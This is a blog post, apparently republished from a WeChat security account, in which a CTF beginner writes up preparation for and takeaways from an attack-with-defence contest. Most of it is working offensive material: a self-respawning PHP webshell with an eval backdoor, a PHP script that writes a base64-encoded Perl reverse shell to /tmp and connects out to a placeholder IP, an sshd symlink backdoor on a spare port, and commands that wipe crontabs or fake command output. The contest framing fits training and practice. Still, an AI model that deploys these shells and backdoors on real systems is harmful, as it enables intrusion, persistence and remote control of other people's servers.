前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >记第一次 AWD 赛前准备与赛后小结

记第一次 AWD 赛前准备与赛后小结

作者头像
信安之路
发布2021-01-25 14:41:12
发布2021-01-25 14:41:12
1.7K00
代码可运行
举报
文章被收录于专栏:信安之路信安之路
运行总次数:0
代码可运行
记录一下菜鸟第一次打 AWD 的经历,可能会对跟我一样的小白们有些帮助。

比赛之前,先记录一下学的东西。感谢(@Sn0w)学长搭建的 AWD 靶场给我们。

基础知识网上有好多,就不写了。

不死马的利用与删除

首先学习的就是不死马,因为它比较经典吧。

密码为 md5 加密过的为 m0re666,然后传入参数。

假设已经上传不死马。

首先,利用方式为,先访问一下,一般是 upload 文件夹有上传权限,所以一般放这里,访问

http://xxx.xxx.xxx.xxx:/upload/header.php

访问执行后,不死马开始起作用了,直接访问:

http://xxx.xxx.xxx.xxx:/.login.php?passwd=m0re666&m0re=system('cat /flag');

得到 flag。因为是不死马,所以可以一直使用这个点来得分,不过现在不死马已人尽皆知,恐怕只能拿一轮分数就会被杀了。

变种不死马
代码语言:javascript
代码运行次数:0
运行
复制
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '-header.php';
$code = '<?php if(md5($_GET["passwd"])=="8895b28b63e543b78f8bc5eaff8f3d86"){@eval($_REQUEST["m0re"]);} ?>';
while (1){
    file_put_contents($file,$code);
    //system('touch -m -d "2018-12-01 09:10:12" .login.php');
    file_put_contents($file1,$code);
    usleep(5000);
}
?>
#passwd=m0re666&m0re=system('cat /flag');

这个变种的,它的不同点在文件名,是 - 开头的,这里介绍一下这个比较骚的知识点。

- 开头的文件名,因为在 Linux 命令行中,各种命令会有许多的参数,所以,如果对这样方式命名的文件,执行任何命令,都会将这个文件当做参数来执行命令,没有该参数就会报错。导致什么命令都无法在这个不死马上执行,但是,在浏览器中连接访问是没问题的,依旧可以解析。可以在自己服务器上开启 docker 进行尝试。

杀掉不死马

ps aux | grep www-data | awk '{print $2}' | xargs kill -9

通过条件竞争查杀
代码语言:javascript
代码运行次数:0
运行
复制
#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh

具体的其他杀不死马的方式还有很多,不列举了。

反弹 shell

如下是一个可以反弹 shell 的 php 脚本:

代码语言:javascript
代码运行次数:0
运行
复制
<?php
  function which($pr) {
    $path = execute("which $pr");
    return ($path ? $path : $pr);
  }
  function execute($cfe) {
    $res = '';
    if ($cfe) {
      if(function_exists('exec')) {
        @exec($cfe,$res);
        $res = join("\n",$res);
      }
      elseif (function_exists('shell_exec')) {
        $res = @shell_exec($cfe);
      }
      elseif (function_exists('system')) {
        @ob_start();
        @system($cfe);
        $res = @ob_get_contents();
        @ob_end_clean();
      }
      elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cfe);
        $res = @ob_get_contents();
        @ob_end_clean();
      }
      elseif (@is_resource($f = @popen($cfe, "r"))) {
        $res = '';
        while(!@feof($f)) {
          $res .= @fread($f,1024);
        }
        @pclose($f);
      }
    }
    return $res;
  }
  function cf($fname, $text) {
    if($fp = @fopen($fname, 'w')) {
      @fputs($fp, @base64_decode($text));
      @fclose($fp);
    }
  }
$yourip = "xxx.xxx.xxx.xxx";
$yourport = '1024';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

使用方法也是很简单,将 shell 文件上传至可访问的地方

开启 nc 监听

代码语言:javascript
代码运行次数:0
运行
复制
nc -l -vv [port] #这里是 1024,可以自己设置

然后访问该文件,就成功反弹 shell

效果如下:

然后记个小 tip:美化终端,不过还是别花时间做这个了,虽然就一条命令。

代码语言:javascript
代码运行次数:0
运行
复制
python -c "import pty; pty.spawn('/bin/bash')"

小 Trick: 使用 find / -name *flag*grep -rn "flag" * 类似的语句可以快速发现 flag 所在的地方,方便后续拿分。

软链接

可以创建个软链接,链接到根目录下 flag

ln -s /flag /var/www/html/upload/footer.js

这个有两种方式,一种是直接使用,在他们还没来得及挂流量监控和文件监控的时候,赶快使用这条命令,直接在可以写入的 upload 文件夹下创建软链接。写成这样,不会有太多人去怀疑这个点。

然后直接 cat upload 文件夹下的 footer.js 就可以得到 flag

也可以直接访问 upload/footer.js 得到 flag 如下:

第二种利用方式,批量!!!前提是对方开启监控,怕被删怎么办,就直接批量写,到处写垃圾文件,让他们删不过来。而我们知道这个 flag 链接的文件是哪个,就可以持续得分。但是,没有尝试,因为自己服务器有点小。

ssh 免密登录(未尝试)

在终端执行此命令,然后可以实现 ssh 免密登陆

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

连接:

ssh root@x.x.x.x -p 5555

密码随意。

其他

alias 命令,命令文档。

怎么说,就是看利用方式

root 权限怎么会没权限?别人进来也无法 cat 到 flag,当然还可以使用其他办法查看。

还有就是改定时任务,别人看不了我们的定时任务。可以尝试改别人的。前提是有权限之后。

代码语言:javascript
代码运行次数:0
运行
复制
crontab -r  
alias crontab="echo no crontab for `whoami` ||"
#返回假的flag
alias cat="echo `date`|md5sum|cut -d ' ' -f1||"

主机发现

比赛可能会告诉你其他队伍的 IP,也可能不会告诉你,一般在同一个 C 段或者 B 段,因此需要首先利用 nmaphttpscan等扫描工具发现其他队伍的 IP。

nmap:

代码语言:javascript
代码运行次数:0
运行
复制
nmap –sn 192.168.71.0/24

httpscan

代码语言:javascript
代码运行次数:0
运行
复制
./httpscan.py 10.20.30.0/24 –t 10
修改 curl 命令
代码语言:javascript
代码运行次数:0
运行
复制
alias curl='echo fuckoff' #权限要求较低
# 或者
alias curl='python -c "__import__(\"sys\").stdout.write(\"flag{%s}\\n\" % (__import__(\"hashlib\").md5(\"\".join([__import__(\"random\").choice(__import__(\"string\").letters) for i in range(0x10)])).hexdigest()))"'
chmod -x curl #降权,取消执行权限(权限要求较高)

关闭不必要端口

代码语言:javascript
代码运行次数:0
运行
复制
netstat -napt 查看当前网络连接状态
lsof -i 用以显示符合条件的进程情况
lsof -i:22  查看22端口现在运行什么程序
kill -9 <PID>  杀掉进程
nmap -sV ip地址(-sV参数可以探测目标主机的服务器版本)

批量提交 flag 的脚本,可以进行百度,找一些脚本自己根据比赛场景进行修改。

赛后

吐槽:真的就是赛前疯狂搜集各种脚本姿势。比赛时没有用上多少。emmmmm,怎么说就是感觉没什么可以记录的了。这个比赛已经被喷了,人学校酒店挺好的,住着很舒服。关于比赛的就不再记录了。就记一下学习的内容。

赛题复现

dump 下来 html 源码,使用 D 盾扫描

发现后门就立刻上传自己的不死马。然后激活并进行维权。相信百度上能找到很多简单维权的办法。还有搅屎的。比如 fock 炸弹等……

接下来就是 Seay 源码审计系统,进行代码审计,笔者比较菜,所以就只说怎么做。

然后根据漏洞进行验证就可以了。

总结

AWD 的话,我是负责攻击,防御交给队友,其实面对新手的小型比赛,重点就是D盾扫描,快速找到后门,然后批量上马,批量上马是有时间改脚本的,这次比赛,过程很懵,我以为不同队伍是 C 段不同而已,结果是 ==emmmm,估计是开的 docker,服了。

如果,批量没实现,就尝试一个个的上传吧。不过最后可能是有几个能拿分的。最重要的一点就是,别被别人骑到自己的马了。emmm,目前我收集到的东西就这么多,比较适合盲目百度而不知道从何下手的新手。请师傅们轻点喷。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-01-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 不死马的利用与删除
    • 变种不死马
    • 杀掉不死马
      • 通过条件竞争查杀
  • 反弹 shell
  • 软链接
  • ssh 免密登录(未尝试)
  • 其他
    • 修改 curl 命令
  • 赛后
  • 赛题复现
  • 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档